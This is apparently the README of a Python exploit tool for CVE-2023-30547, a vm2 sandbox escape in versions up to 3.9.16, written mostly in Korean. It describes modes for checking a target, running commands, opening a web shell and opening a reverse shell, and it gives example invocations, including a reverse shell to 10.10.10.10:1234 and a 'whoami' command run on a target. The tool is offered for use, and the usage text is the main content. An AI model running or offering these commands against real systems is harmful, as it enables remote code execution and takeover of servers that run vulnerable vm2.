
CVE-2023-30547 탐색을 위한 도구

vm2는 Node의 허용된(화이트리스트) 내장 모듈로 신뢰할 수 없는 코드를 실행할 수 있는 샌드박스입니다.
vm2 3.9.16 이하 버전의 예외 정화(exception sanitization) 과정에 취약점이 존재하며, 공격자는 handleException() 내부에서 정화되지 않은 호스트 예외를 발생시켜 샌드박스를 탈출하고 호스트 컨텍스트에서 임의 코드를 실행할 수 있습니다.
이 도구는 취약점을 탐색하는 데 사용할 수 있는 간단한 파이썬 스크립트입니다. 다음 4가지 모드를 제공합니다:
check: 대상이 취약한지 확인합니다.command_execution_execution: 대상에서 명령을 실행합니다.web_shell: 대상에서 웹 셸을 엽니다.reverse_shell: 대상에서 리버스 셸을 엽니다.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'